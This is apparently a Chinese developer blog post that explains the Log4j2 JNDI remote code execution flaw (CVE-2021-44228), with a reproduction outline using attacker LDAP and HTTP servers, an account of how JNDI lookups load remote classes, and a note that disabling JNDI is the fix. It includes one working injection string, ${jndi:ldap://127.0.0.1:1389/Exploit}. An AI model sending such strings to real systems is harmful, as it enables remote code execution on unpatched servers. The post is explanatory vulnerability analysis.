相信最近做Java开发和搞安全的都在关注Apache Log4j2远程代码执行漏洞的事情,网上也有很多白帽子漏洞的漏洞复现,但是对于后端开发人员来说,好像关注的更多的是升级Log4J2版本从而避免漏洞,并不是很关心该漏洞的利用方式,本文是从Java开发人员的视角切入,没有安全圈子的术语,复现漏洞,并且分析漏洞的原因。

话说曾经我也有一个白帽子的梦啊哈哈哈哈哈

漏洞复现

具体的复现代码可直接参考github,clone下来后直接运行三个main方法即可

STEP1. 代码准备

需要准备三个服务器

  1. 被攻击的服务器(使用了Log4J2打印日志的服务)
  2. 黑客的ldap服务器(接收用户服务器并重定向到http服务器)
  3. 黑客的http服务器(存储恶意的攻击代码)

STEP2. 启动服务

  1. 启动LdapServer(reference为httpServer的地址)
  2. 启动HttpServer(恶意代码需要存储到服务器根目录,且该服务器需要具备传输文件的能力)
  3. 启动被攻击的服务器,用Main方法代替(恶意代码指向Ldap服务器)

STEP3. 代码执行

当服务启动之后,就可以看到黑客httpServer中的Exploit类中的恶意代码在Main方法中被执行

漏洞原因

JNDI介绍

在分析漏洞原因之前,我们先看下JNDI这个东东:

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA等等

JNDI有两个特性,或者叫安全问题,一个是动态协议转换,它可以自动解析字符串中的服务提供者的地址和具体服务,这意味如果字符串可控,这可以随便定义providerUrl。

第二个是命名引用,对象可以通过绑定由命名管理器解码并解析为原始对象的一个引用间接地存储在命名或目录服务中,这意味着客户端可能从JNDI Provider中获得的只是一个reference,真正的类可能在其他机器中

Log4J2漏洞利用

当log4j2打印的日志含有恶意代码,如${jndi:ldap://127.0.0.1:1389/Exploit}的时候,框架会对${}中的内容进行处理,假如说该内容的前缀为jndi,则说明需要进行jndi的相关处理

当解析到是jndi服务的时候,服务器会去请求恶意链接中的Ldap服务器地址。ldap服务器会以命名引用的方式返回攻击代码的地址

之后,服务器会尝试通过命名引用的方式去获取远程攻击代码的factory,同时获取攻击代码的类

最后,当获取到远程攻击代码的class信息之后,会加载并且实例化该类,从而被攻击

时序图

解决方案

目前网络上的解决方案都很多,但核心只有一个,就是禁用log4j的jndi相关功能,就不赘述了

参考文章

CVE-2021-44228-Apache-Log4j-Rce
攻击Java中的JNDI、RMI、LDAP(一)